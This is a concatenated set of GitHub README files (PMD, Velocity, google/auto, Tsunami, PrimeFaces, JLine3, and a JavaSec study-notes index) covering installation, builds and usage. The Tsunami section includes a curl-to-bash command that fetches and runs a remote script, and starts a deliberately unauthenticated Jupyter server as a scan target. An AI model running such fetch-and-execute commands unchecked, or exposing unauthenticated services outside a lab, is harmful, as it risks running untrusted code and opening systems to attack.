Lua, Matlab, Modelica, Objective-C, Perl, PHP, PLSQL, Python, Ruby, Salesforce.com Apex and
Visualforce, Scala, Swift, T-SQL, Typescript, Apache Velocity, WSDL, XML and XSL.
## 🚀 Installation and Usage
Download the latest binary zip from the [releases](https://github.com/pmd/pmd/releases/latest)
and extract it somewhere.
Execute `bin/pmd check` or `bin\pmd.bat check`.
See also [Getting Started](https://docs.pmd-code.org/latest/pmd_userdocs_installation.html)
**Demo:**
This shows how PMD analyses [openjdk](https://github.com/openjdk/jdk):
![Demo](docs/images/userdocs/pmd-demo.gif)
There are plugins for Maven and Gradle as well as for various IDEs.
See [Tools / Integrations](https://docs.pmd-code.org/latest/pmd_userdocs_tools.html)
## ℹ️ How to get support?
* How do I? -- Ask a question on [StackOverflow](https://stackoverflow.com/questions/tagged/pmd)
or on [discussions](https://github.com/pmd/pmd/discussions).
* I got this error, why? -- Ask a question on [StackOverflow](https://stackoverflow.com/questions/tagged/pmd)
or on [discussions](https://github.com/pmd/pmd/discussions).
* I got this error and I'm sure it's a bug -- file an [issue](https://github.com/pmd/pmd/issues).
* I have an idea/request/question -- create a new [discussion](https://github.com/pmd/pmd/discussions).
* I have a quick question -- ask in our [Gitter room](https://app.gitter.im/#/room/#pmd_pmd:gitter.im).
* Where's your documentation? -- <https://docs.pmd-code.org/latest/>
## 🤝 Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Our latest source of PMD can be found on [GitHub](https://github.com/pmd/pmd). Fork us!
* [How to build PMD](BUILDING.md)
* [How to contribute to PMD](CONTRIBUTING.md)
The rule designer is developed over at [pmd/pmd-designer](https://github.com/pmd/pmd-designer).
Please see [its README](https://github.com/pmd/pmd-designer#contributing) for
developer documentation.
## 💵 Financial Contributors
Become a financial contributor and help us sustain our community. [Contribute](https://opencollective.com/pmd/contribute)
## ✨ Contributors
This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification.
Contributions of any kind welcome!
See [credits](docs/pages/pmd/projectdocs/credits.md) for the complete list.
## 📝 License
[BSD Style](LICENSE)
| 0 |
PaperMC/Velocity | The modern, next-generation Minecraft server proxy. | 2018-07-24T00:51:53Z | null | # Velocity
[![Build Status](https://img.shields.io/github/actions/workflow/status/PaperMC/Velocity/gradle.yml)](https://papermc.io/downloads/velocity)
[![Join our Discord](https://img.shields.io/discord/289587909051416579.svg?logo=discord&label=)](https://discord.gg/papermc)
A Minecraft server proxy with unparalleled server support, scalability,
and flexibility.
Velocity is licensed under the GPLv3 license.
## Goals
* A codebase that is easy to dive into and consistently follows best practices
for Java projects as much as reasonably possible.
* High performance: handle thousands of players on one proxy.
* A new, refreshing API built from the ground up to be flexible and powerful
whilst avoiding design mistakes and suboptimal designs from other proxies.
* First-class support for Paper, Sponge, Fabric and Forge. (Other implementations
may work, but we make every endeavor to support these server implementations
specifically.)
## Building
Velocity is built with [Gradle](https://gradle.org). We recommend using the
wrapper script (`./gradlew`) as our CI builds using it.
It is sufficient to run `./gradlew build` to run the full build cycle.
## Running
Once you've built Velocity, you can copy and run the `-all` JAR from
`proxy/build/libs`. Velocity will generate a default configuration file
and you can configure it from there.
Alternatively, you can get the proxy JAR from the [downloads](https://papermc.io/downloads/velocity)
page.
| 0 |
google/auto | A collection of source code generators for Java. | 2013-05-22T21:41:56Z | null | # Auto
[![Build Status](https://github.com/google/auto/actions/workflows/ci.yml/badge.svg)](https://github.com/google/auto/actions/workflows/ci.yml)
A collection of source code generators for [Java][java].
## Overview
[Java][java] is full of code that is mechanical, repetitive, typically untested
and sometimes the source of subtle bugs. _Sounds like a job for robots!_
The Auto subprojects are a collection of code generators that automate those
types of tasks. They create the code you would have written, but without
the bugs.
Save time. Save code. Save sanity.
## Subprojects
* [AutoFactory] - JSR-330-compatible factories
[![Maven Central](https://img.shields.io/maven-central/v/com.google.auto.factory/auto-factory.svg)](https://mvnrepository.com/artifact/com.google.auto.factory/auto-factory)
* [AutoService] - Provider-configuration files for [`ServiceLoader`]
[![Maven Central](https://img.shields.io/maven-central/v/com.google.auto.service/auto-service.svg)](https://mvnrepository.com/artifact/com.google.auto.service/auto-service)
* [AutoValue] - Immutable [value-type] code generation for Java 7+.
[![Maven Central](https://img.shields.io/maven-central/v/com.google.auto.value/auto-value.svg)](https://mvnrepository.com/artifact/com.google.auto.value/auto-value)
* [Common] - Helper utilities for writing annotation processors.
[![Maven Central](https://img.shields.io/maven-central/v/com.google.auto/auto-common.svg)](https://mvnrepository.com/artifact/com.google.auto/auto-common)
## License
Copyright 2013 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
[AutoFactory]: https://github.com/google/auto/tree/main/factory
[AutoService]: https://github.com/google/auto/tree/main/service
[AutoValue]: https://github.com/google/auto/tree/main/value
[Common]: https://github.com/google/auto/tree/main/common
[java]: https://en.wikipedia.org/wiki/Java_(programming_language)
[value-type]: http://en.wikipedia.org/wiki/Value_object
[`ServiceLoader`]: http://docs.oracle.com/javase/7/docs/api/java/util/ServiceLoader.html
| 0 |
google/tsunami-security-scanner | Tsunami is a general purpose network security scanner with an extensible plugin system for detecting high severity vulnerabilities with high confidence. | 2020-06-03T16:20:00Z | null | # Tsunami
![build](https://github.com/google/tsunami-security-scanner/workflows/build/badge.svg)
Tsunami is a general purpose network security scanner with an extensible plugin
system for detecting high severity vulnerabilities with high confidence.
To learn more about Tsunami, visit our
[documentation](https://github.com/google/tsunami-security-scanner/blob/master/docs/index.md).
Tsunami relies heavily on its plugin system to provide basic scanning
capabilities. All publicly available Tsunami plugins are hosted in a separate
[google/tsunami-security-scanner-plugins](https://github.com/google/tsunami-security-scanner-plugins)
repository.
## Current Status
* Currently Tsunami is in 'pre-alpha' release for developer preview.
* Tsunami project is currently under active development. Do expect major API
changes in the future.
## Quick Start
To quickly get started with Tsunami scans,
### Traditional install
1. install the following required dependencies:
```
nmap >= 7.80
ncrack >= 0.7
```
1. start a vulnerable application that can be identified by Tsunami, e.g. an
unauthenticated Jupyter Notebook server. The easiest way is to use a docker
image:
```shell
docker run --name unauthenticated-jupyter-notebook -p 8888:8888 -d jupyter/base-notebook start-notebook.sh --NotebookApp.token=''
```
1. execute the following command:
```
bash -c "$(curl -sfL https://raw.githubusercontent.com/google/tsunami-security-scanner/master/quick_start.sh)"
```
The `quick_start.sh` script performs the following tasks:
1. Clone the
[google/tsunami-security-scanner](https://github.com/google/tsunami-security-scanner)
and
[google/tsunami-security-scanner-plugins](https://github.com/google/tsunami-security-scanner-plugins)
repos into `$HOME/tsunami/repos` directory.
1. Compile all
[Google Tsunami plugins](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google)
and move all plugin `jar` files into `$HOME/tsunami/plugins` directory.
1. Compile the Tsunami scanner Fat Jar file and move it into `$HOME/tsunami`
directory.
1. Move the `tsunami.yaml` example config into `$HOME/tsunami` directory.
1. Print example Tsunami command for scanning `127.0.0.1` using the previously
generated artifacts.
### Docker install
1. start a vulnerable application that can be identified by Tsunami, e.g. an
unauthenticated Jupyter Notebook server. The easiest way is to use a docker
image:
```shell
docker run --name unauthenticated-jupyter-notebook -p 8888:8888 -d jupyter/base-notebook start-notebook.sh --NotebookApp.token=''
```
1. build the docker image for Tsunami:
```shell
docker build -t tsunami .
```
1. run the Tsunami image. The logs can be saved to the host machine by mounting
a volume:
```shell
docker run --network="host" -v "$(pwd)/logs":/usr/tsunami/logs tsunami
```
1. debugging issues with Tsunami container. The tsunami container is based on
Debian. To run debug tools simply exec into the container and install them:
```shell
docker exec -it tsunami bash
```
## Contributing
Read how to [contribute to Tsunami](docs/contributing.md).
## License
Tsunami is released under the [Apache 2.0 license](LICENSE).
```
Copyright 2019 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
## Disclaimers
Tsunami is not an official Google product.
| 0 |
primefaces/primefaces | Ultimate Component Suite for JavaServer Faces | 2015-04-11T09:48:53Z | null | [![Maven](https://img.shields.io/maven-central/v/org.primefaces/primefaces.svg)](https://repo.maven.apache.org/maven2/org/primefaces/primefaces/)
[![Actions Status CI](https://github.com/primefaces/primefaces/workflows/CI/badge.svg)](https://github.com/primefaces/primefaces/actions/workflows/build.yml)
[![Actions Status Integration Tests](https://github.com/primefaces/primefaces/workflows/IT/badge.svg)](https://github.com/primefaces/primefaces/actions/workflows/nightly.yml)
[![Sonar](https://sonarcloud.io/api/project_badges/measure?project=org.primefaces%3Aprimefaces&metric=alert_status)](https://sonarcloud.io/dashboard?id=org.primefaces%3Aprimefaces)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![Discord Chat](https://img.shields.io/discord/557940238991753223.svg?color=7289da&label=chat&logo=discord)](https://discord.gg/gzKFYnpmCY)
[![Stackoverflow](https://img.shields.io/badge/StackOverflow-primefaces-chocolate.svg)](https://stackoverflow.com/questions/tagged/primefaces+jsf)
[![Prime Discussions](https://img.shields.io/github/discussions-search?query=org%3Aprimefaces&logo=github&label=Prime%20Discussions&link=https%3A%2F%2Fgithub.com%2Forgs%2Fprimefaces%2Fdiscussions)](https://github.com/orgs/primefaces/discussions)
[![PrimeFaces Hero](https://www.primefaces.org/wp-content/uploads/2021/10/PrimeFaces-GitHub-2021Q4.jpg "PrimeFaces Hero")](https://www.primefaces.org/showcase)
# PrimeFaces
This is an overview page, please visit [PrimeFaces.org](https://www.primefaces.org) for more information.
[![PrimeFaces Logo](https://www.primefaces.org/wp-content/uploads/2016/10/prime_logo_new.png)](https://www.primefaces.org/showcase)
### Overview
***
[PrimeFaces](https://www.primefaces.org/) is one of the most popular UI libraries in Java EE Ecosystem and widely used by software companies, world renowned brands, banks, financial institutions, insurance companies, universities and more. Here are [some of the users](https://www.primefaces.org/whouses) who notified us or subscribed to a [PrimeFaces Support Service](https://www.primefaces.org/support).
### Community <> Elite <> Pro
***
This is the open source code and issue tracker of the PrimeFaces master (a.k.a. community version).
Please check the following link for informations about Elite and Pro: [PrimeFaces Support](https://www.primefaces.org/support/)
What does that mean?
- PrimeFaces is developed by PrimeTek and the open source community.
- The most contributers here on GitHub are working on PrimeFaces in their spare time.
- PrimeTek pushes fixes and new features from their closed source Elite and Pro repositories to the community edition.
- We, the community on GitHub, only provide support for issues, which are reproducable with the current SNAPSHOT (scroll down for more information on how to use it).
- We are NOT able to port bugfixes to elite releases. This is up to PrimeTek and can e.g. be triggered with PrimeFaces PRO.
### Versions
***
Version | Binary | Source | JSF version | Java version | Documentation
------------ | ------------- | ------------- | ------------- | ------------- | ------------- |
![14.0.x](https://img.shields.io/maven-central/v/org.primefaces/primefaces.svg?versionPrefix=14&color=cyan)| [JAR](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/14.0.0/primefaces-14.0.0.jar) | [Sources](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/14.0.0/primefaces-14.0.0-sources.jar)| 2.3 - 4.0 | 11 - ? | [14.0.0 Documentation](https://primefaces.github.io/primefaces/14_0_0/#/)
![13.0.x](https://img.shields.io/maven-central/v/org.primefaces/primefaces.svg?versionPrefix=13&color=cyan)| [JAR](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/13.0.10/primefaces-13.0.10.jar) | [Sources](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/13.0.10/primefaces-13.0.10-sources.jar) | 2.0 - 4.0 | 8 - ? | [13.0.10 Documentation](https://primefaces.github.io/primefaces/13_0_0/#/)
![12.0.x](https://img.shields.io/maven-central/v/org.primefaces/primefaces.svg?versionPrefix=12&color=cyan)| [JAR](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/12.0.0/primefaces-12.0.0.jar) | [Sources](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/12.0.0/primefaces-12.0.0-sources.jar) | 2.0 - 4.0 | 8 - ? | [12.0.0 Documentation](https://primefaces.github.io/primefaces/12_0_0/#/)
<details>
<summary>Archive</summary>
Version | Binary | Source | JSF version | Java version | Documentation
------------ | ------------- | ------------- | ------------- | ------------- | ------------- |
11.0.0| [primefaces-11.0.0.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/11.0.0/primefaces-11.0.0.jar) | [primefaces-11.0.0-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/11.0.0/primefaces-11.0.0-sources.jar) | 2.0 - 4.0 | 8 - ? | [11.0.0 Documentation](https://primefaces.github.io/primefaces/11_0_0/#/)
10.0.0| [primefaces-10.0.0.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/10.0.0/primefaces-10.0.0.jar) | [primefaces-10.0.0-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/10.0.0/primefaces-10.0.0-sources.jar) | 2.0 - 3.0 | 8 - ? | [10.0.0 Documentation](https://primefaces.github.io/primefaces/10_0_0/#/)
8.0| [primefaces-8.0.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/8.0/primefaces-8.0.jar) | [primefaces-8.0-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/8.0/primefaces-8.0-sources.jar) | 2.0 - 2.3 | 8 - ? | [8.0 Documentation](https://primefaces.github.io/primefaces/8_0/#/)
7.0| [primefaces-7.0.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/7.0/primefaces-7.0.jar) | [primefaces-7.0-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/7.0/primefaces-7.0-sources.jar) | 2.0 - 2.3 | 7 - ? | [7.0 Documentation](https://primefaces.github.io/primefaces/7_0/#/)
6.2| [primefaces-6.2.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.2/primefaces-6.2.jar) | [primefaces-6.2-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.2/primefaces-6.2-sources.jar) | 2.0 - 2.3 | 6 - ? | [6.2 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_6_2.pdf)
6.1| [primefaces-6.1.jar](http://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.1/primefaces-6.1.jar) | [primefaces-6.1-sources.jar](http://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.1/primefaces-6.1-sources.jar) | 2.0 - 2.3 | 5 - ? | [6.1 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_6_1.pdf)
6.0| [primefaces-6.0.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.0/primefaces-6.0.jar) | [primefaces-6.0-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/6.0/primefaces-6.0-sources.jar) | 2.0 - 2.2 | 5 - ? | [6.0 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_6_0.pdf)
5.3| [primefaces-5.3.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.3/primefaces-5.3.jar) | [primefaces-5.3-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.3/primefaces-5.3-sources.jar) | 2.0 - 2.2 | 5 - ? | [5.3 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_5_3.pdf)
5.2| [primefaces-5.2.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.2/primefaces-5.2.jar) | [primefaces-5.2-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.2/primefaces-5.2-sources.jar) | 2.0 - 2.2 | 5 - ? | [5.2 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_5_2.pdf)
5.1| [primefaces-5.1.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.1/primefaces-5.1.jar) | [primefaces-5.1-sources.jar](https://search.maven.org/remotecontent?filepath=org/primefaces/primefaces/5.1/primefaces-5.1-sources.jar) | 2.0 - 2.2 | 5 - ? | [5.1 Documentation](https://www.primefaces.org/docs/guide/primefaces_user_guide_5_1.pdf)
</details>
For a full list of the available downloads, please visit the [download page](https://www.primefaces.org/downloads).
### Maven
***
##### Release
```xml
<!-- Java EE / javax.* / JSF 2.3 -->
<dependency>
<groupId>org.primefaces</groupId>
<artifactId>primefaces</artifactId>
<version>14.0.0</version>
</dependency>
<!-- Jakarta EE / jakarta.* / Faces 4.0+ -->
<dependency>
<groupId>org.primefaces</groupId>
<artifactId>primefaces</artifactId>
<version>14.0.0</version>
<classifier>jakarta</classifier>
</dependency>
```
##### SNAPSHOT
```xml
<!-- Java EE / javax.* / JSF 2.3 -->
<dependency>
<groupId>org.primefaces</groupId>
<artifactId>primefaces</artifactId>
<version>15.0.0-SNAPSHOT</version>
</dependency>
<!-- Jakarta EE / jakarta.* / Faces 4.0+ -->
<dependency>
<groupId>org.primefaces</groupId>
<artifactId>primefaces</artifactId>
<version>15.0.0-SNAPSHOT</version>
<classifier>jakarta</classifier>
</dependency>
<repositories>
<repository>
<id>sonatype-snapshots</id>
<name>Sonatype Snapshot Repository</name>
<url>https://oss.sonatype.org/content/repositories/snapshots</url>
<releases>
<enabled>false</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
</snapshots>
</repository>
</repositories>
```
### Usage
***
```xml
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:h="jakarta.faces.html"
xmlns:f="jakarta.faces.core"
xmlns:pt="jakarta.faces.passthrough"
xmlns:jsf="jakarta.faces"
xmlns:ui="jakarta.faces.facelets"
xmlns:p="http://primefaces.org/ui">
<h:head>
</h:head>
<h:body>
<p:spinner />
</h:body>
</html>
```
### Demo
***
Please refer to the [showcase](https://www.primefaces.org/showcase) in order to see the full usage of the components. Sources of PrimeFaces showcase are available within module [primefaces-showcase](https://github.com/primefaces/primefaces/tree/master/primefaces-showcase).
### Contribution
***
Visit the [contribution](./CONTRIBUTING.md) page for detailed information.
### Release Instructions
***
- Run `mvn versions:set -DgenerateBackupPoms=false -DnewVersion=14.0.0` to update all modules versions
- Commit and push the changes to GitHub
- In GitHub create a new Release titled `14.0.0` to tag this release
- Run `mvn clean deploy -Prelease` to push to Maven Central
- Rename Milestone in GitHub Issues and close it
- Create a new Milestone
### License
***
Licensed under the MIT License.
| 0 |
jline/jline3 | JLine is a Java library for handling console input. | 2016-05-31T18:00:01Z | null | <!--
Copyright (c) 2002-2020, the original author or authors.
This software is distributable under the BSD license. See the terms of the
BSD license in the documentation provided with this software.
https://opensource.org/licenses/BSD-3-Clause
-->
# JLine [![License](https://img.shields.io/badge/License-BSD%202--Clause-orange.svg)](https://opensource.org/licenses/BSD-3-Clause) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.jline/jline/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.jline/jline) [![Build Status: Linux](https://travis-ci.org/jline/jline3.svg?branch=master)](https://travis-ci.org/jline/jline3) [![Build Status: Windows](https://ci.appveyor.com/api/projects/status/github/jline/jline3?svg=true)](https://ci.appveyor.com/project/gnodet/jline3)
JLine is a Java library for handling console input. It is similar in functionality to [BSD editline](http://www.thrysoee.dk/editline/) and [GNU readline](http://www.gnu.org/s/readline/) but with additional features that bring it in par with [ZSH line editor](http://zsh.sourceforge.net/Doc/Release/Zsh-Line-Editor.html). People familiar with the readline/editline capabilities for modern shells (such as bash and tcsh) will find most of the command editing features of JLine to be familiar.
JLine 3.x is an evolution of [JLine 2.x](https://github.com/jline/jline2).
# License
JLine is distributed under the [BSD License](https://opensource.org/licenses/BSD-3-Clause), meaning that you are completely free to redistribute, modify, or sell it with almost no restrictions.
# Documentation
* [demos](https://github.com/jline/jline3/wiki/Demos)
* [wiki](https://github.com/jline/jline3/wiki)
* [javadoc](https://www.javadoc.io/doc/org.jline/jline/)
# Forums
* [jline-users](https://groups.google.com/group/jline-users)
* [jline-dev](https://groups.google.com/group/jline-dev)
# Artifacts
JLine can be used with a single bundle or smaller fine grained jars. The bundle contains all jars except `jline-groovy` that must be included in classpath if you want to use scripting capabilities.
The big bundle is named:
jline-${jline.version}.jar
The dependencies are minimal: you may use JLine without any dependency on *nix systems, but in order to support windows or more advanced usage, you will need to add either [`Jansi`](https://repo1.maven.org/maven2/org/fusesource/jansi/jansi/1.18/jansi-1.18.jar) or [`JNA`](https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.3.1/jna-5.3.1.jar) library.
You can also use fine grained jars:
* `jline-terminal`: the `Terminal` api and implementations
* `jline-terminal-jansi`: terminal implementations leveraging the `Jansi` library
* `jline-terminal-jni`: terminal implementations leveraging the JNI native library
* `jline-terminal-jna`: terminal implementations leveraging the `JNA` library
* `jline-terminal-ffm`: terminal implementations leveraging the Foreign Functions & Mapping layer
* `jline-native`: the native library
* `jline-reader`: the line reader (including completion, history, etc...)
* `jline-style`: styling api
* `jline-remote-ssh`: helpers for using jline with [Mina SSHD](http://mina.apache.org/sshd-project/)
* `jline-remote-telnet`: helpers for using jline over telnet (including a telnet server implementation)
* `jline-builtins`: several high level tools: `less` pager, `nano` editor, `screen` multiplexer, etc...
* `jline-console`: command registry, object printer and widget implementations
* `jline-groovy`: `ScriptEngine` implementation using Groovy
* `jline-console-ui`: provides simple UI elements on ANSI terminals
## Supported platforms
JLine supports the following platforms:
* FreeBSD
* Linux
* OS X
* Solaris
* Windows
## FFM vs JNI vs Jansi vs JNA vs Exec
To perform the required operations, JLine needs to interoperate with the OS layer. This is done through the JLine
`TerminalProvider` interface. The terminal builder will automatically select a provider amongst the ones
that are available.
On the Windows platform, relying on native calls is mandatory, so you need to have a real provider (`jline-terminal-xxx` jar) registered and its dependencies available (usually the Jansi or JNA library). Failing to do so will create a `dumb` terminal with no advanced capabilities.
By default, the following order will be used.
### FFM
The [FFM](https://docs.oracle.com/en/java/javase/21/core/foreign-function-and-memory-api.html#GUID-FBE990DA-C356-46E8-9109-C75567849BA8) provider is available since JLine 3.24 and when running on JDK >= 21. It's very lightweight with no additional dependencies.
With JLine 3.26, the FFM provider requires JDK 22 with the `--enable-native-access=ALL-UNNAMED` JVM option.
Note that JLine 3.24 and 3.25 uses the preview version of FFM support shipped in JDK 21 which is incompatible with the final version in JDK 22.
### JNI
Since JLine 3.24.0, JLine provides its own JNI based provider and native libraries. This is the best default choice, with no additional dependency, but it requires loading a native library.
### JANSI
The [Jansi](https://github.com/fusesource/jansi) library is a library specialized in supporting ANSI sequences in
terminals. Historically, the JNI methods used by JLine were provided by Jansi. In order to minimize the maintenance
cost, Jansi will be merged into JLine 3.25.
This provider has been deprecated in 3.26 in favor of the JNI provider.
### JNA
The [JNA](https://github.com/java-native-access/jna) library aims to provide an alternative way to access native
methods without requiring writing a full JNI native library. If JNA is in JLine's class loader, the provider may
be used. JNA is not supported on Apple M2 architectures.
This provider has been deprecated in 3.26 in favor of the FFM provider.
### Exec
The exec provider is available on Posix systems and on Windows when running under [Cygwin](https://www.cygwin.com)
or [MSys2](https://www.msys2.org). This provider launches child processes whenever the terminal is accessed
(using `Terminal.getAttributes`, `Terminal.setAttributes`, `Terminal.getSize`, `Terminal.setSize`).
This provider also does not support external terminals (for example when creating a terminal for an incoming connection) and does not support the Windows native environment.
# Maven Usage
Use the following definition to use JLine in your maven project:
```xml
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline</artifactId>
<version>${jline.version}</version>
</dependency>
```
JLine can also be used with more low-level jars:
```xml
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline-terminal</artifactId>
<version>${jline.version}</version>
</dependency>
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline-terminal-jni</artifactId>
<version>${jline.version}</version>
</dependency>
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline-reader</artifactId>
<version>${jline.version}</version>
</dependency>
```
All the jars and releases are available from Maven Central, so you'll find everything at the following location <https://repo1.maven.org/maven2/org/jline/>.
# Building
## Requirements
* Maven 3.9.6+
* Java 8+ at runtime
* Java 22+ at build time
* Graal 23.1+ (native-image)
Check out and build:
```sh
git clone git://github.com/jline/jline3.git
cd jline3
./build rebuild
```
Build Graal native-image demo:
```sh
./build rebuild -Pnative-image
```
## Results
The following artifacts are build:
The big bundle includes everything (except `jline-groovy`) and is located at:
jline/target/jline-${jline.version}.jar
The fine grained bundles are located at:
terminal/target/jline-terminal-${jline.version}.jar
terminal-jansi/target/jline-jansi-${jline.version}.jar
terminal-jna/target/jline-jna-${jline.version}.jar
reader/target/jline-reader-${jline.version}.jar
style/target/jline-style-${jline.version}.jar
remote-telnet/target/jline-remote-telnet-${jline.version}.jar
remote-ssh/target/jline-remote-ssh-${jline.version}.jar
builtins/target/jline-builtins-${jline.version}.jar
console/target/jline-console-${jline.version}.jar
groovy/target/jline-groovy-${jline.version}.jar
Maven has a concept of `SNAPSHOT`. During development, the jline version will always ends with `-SNAPSHOT`, which means that the version is in development and not a release.
Note that all those artifacts are also installed in the local maven repository, so you will usually find them in the following folder: `~/.m2/repository/org/jline/`.
## Running the demo
To run the demo, simply use one of the following commands after having build `JLine`
```sh
# Gogo terminal
./build demo
# Groovy REPL
./build repl
# Graal native-image
./build graal
```
## Continuous Integration
* [Travis](https://travis-ci.org/jline/jline3)
* [AppVeyor](https://ci.appveyor.com/project/gnodet/jline3)
| 0 |
Y4tacker/JavaSec | a rep for documenting my study, may be from 0 to 0.1 | 2021-10-18T01:21:11Z | null |
# JavaSec
![JavaSec](https://socialify.git.ci/Y4tacker/JavaSec/image?description=1&font=Source%20Code%20Pro&forks=1&issues=1&language=1&name=1&owner=1&pulls=1&stargazers=1&theme=Dark)
## 0.For Me
仅仅只是想写给自己看
一个记录我Java安全学习过程的仓库,本仓库不是真正意义上的教学仓库(rep中的内容都是我在平时的一些笔记没有很强逻辑性,内容水平自然也是参差不齐,可能有些对我来说很简单的便忽略不计对其他人来说却是难点,因此作为一个学习目录的话可能会好很多),单纯这是笔者简单记一些笔记,顺便见证自己从0到0.1的过程吧,另外后面如果看到一些好的东西在学习完之后也会贴上链接,少了很多介绍性的东西,以后等厉害了再慢慢补充吧.当然如果感觉还不错的话,师傅们记得给个 Star 呀 ~
<p align="right">@Y4tacker</p>
<p align="right">2021年10月18日,梦的开始</p>
<br/>
## 1.基础篇
- [Java反射](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E5%8F%8D%E5%B0%84/%E5%8F%8D%E5%B0%84.md)
- [补充:通过反射修改用final static修饰的变量](https://github.com/Y4tacker/JavaSec/tree/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E9%80%9A%E8%BF%87%E5%8F%8D%E5%B0%84%E4%BF%AE%E6%94%B9%E7%94%A8final%E4%BF%AE%E9%A5%B0%E7%9A%84%E5%8F%98%E9%87%8F)
- [Java动态代理](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86.md)
- [JNDI注入](https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/)
- [反序列化](https://www.zhihu.com/question/47794528/answer/672095170)
- [类加载器与双亲委派模型](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%E4%B8%8E%E5%8F%8C%E4%BA%B2%E5%A7%94%E6%B4%BE%E6%A8%A1%E5%9E%8B/%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%E4%B8%8E%E5%8F%8C%E4%BA%B2%E5%A7%94%E6%B4%BE%E6%A8%A1%E5%9E%8B.md)
- [两种实现Java类隔离加载的方法](https://max.book118.com/html/2021/0415/5213012132003221.shtm)(当然同名目录下也有pdf,防止以后站不在了)
- [ClassLoader(类加载机制)](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6)/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6).md)
- [SPI学习](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/SPI/SPI.md)
- [JavaAgent](http://wjlshare.com/archives/1582)
- [Java9模块化特性](https://developer.aliyun.com/article/618778)
- [JMX](https://zhuanlan.zhihu.com/p/166530442)
- [JMX补充学习这哥们写的不错](https://github.com/ZhangZiSheng001/02-jmx-demo)
- [JDWP远程执行命令](https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/)
- [Tomcat中容器的pipeline机制(学了以后更好帮助Tomcat-Valve类型内存马理解)](https://www.cnblogs.com/coldridgeValley/p/5816414.html)
